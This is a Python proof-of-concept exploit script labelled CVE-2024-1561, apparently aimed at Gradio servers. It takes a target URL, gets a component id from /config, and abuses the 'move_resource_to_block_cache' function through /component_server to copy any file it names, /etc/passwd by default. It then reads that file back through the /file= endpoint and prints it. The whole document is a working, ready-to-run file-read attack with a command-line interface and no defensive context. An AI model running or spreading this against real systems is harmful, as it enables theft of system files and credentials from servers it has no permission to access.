exploit.py

#!/usr/bin/env python3

import requests
import sys
import argparse
from rich.console import Console
from rich import print as rprint

console = Console()

def exploit(target_url, file_to_read="/etc/passwd"):
    target = target_url.rstrip('/')
    
    try:
        resp = requests.get(f"{target}/config", timeout=10)
        resp.raise_for_status()
        config = resp.json()
        components = config.get("components", [])
        comp_id = None
        for comp in components:
            if "id" in comp:
                comp_id = comp["id"]
                break
        if comp_id is None:
            console.print("[bold red][-][/] No component with 'id' found in /config")
            return
        console.print(f"[bold green][+][/] Found component id: {comp_id}")
    except Exception as e:
        console.print(f"[bold red][-][/] Failed to fetch /config: {e}")
        return

    payload = {
        "component_id": str(comp_id),
        "data": file_to_read,
        "fn_name": "move_resource_to_block_cache",
        "session_hash": "aaaaaaaaaaa"
    }
    try:
        resp = requests.post(f"{target}/component_server", json=payload, timeout=10)
        resp.raise_for_status()
        
        temp_path = None
        try:
            data = resp.json()
            if isinstance(data, dict):
                temp_path = data.get("data")
            elif isinstance(data, str):
                temp_path = data
            else:
                console.print(f"[bold red][-][/] Unexpected response type: {type(data)}")
                return
        except ValueError:
            temp_path = resp.text.strip()
        
        if not temp_path:
            console.print(f"[bold red][-][/] Could not extract temp path from response: {resp.text}")
            return
        console.print(f"[bold green][+][/] Temporary file path: {temp_path}")
    except Exception as e:
        console.print(f"[bold red][-][/] Failed to call component_server: {e}")
        return

    file_url = f"{target}/file={temp_path}"
    try:
        resp = requests.get(file_url, timeout=10)
        resp.raise_for_status()
        console.print("[bold cyan][+][/] File content:")
        console.print(resp.text)
    except Exception as e:
        console.print(f"[bold red][-][/] Failed to read file: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-1561 PoC Exploit")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:7860)")
    parser.add_argument("-f", "--file", default="/etc/passwd", help="File path to read (default: /etc/passwd)")
    args = parser.parse_args()
    
    console.print("[bold yellow][!][/] Coded By: K3ysTr0K3R")
    exploit(args.url, args.file)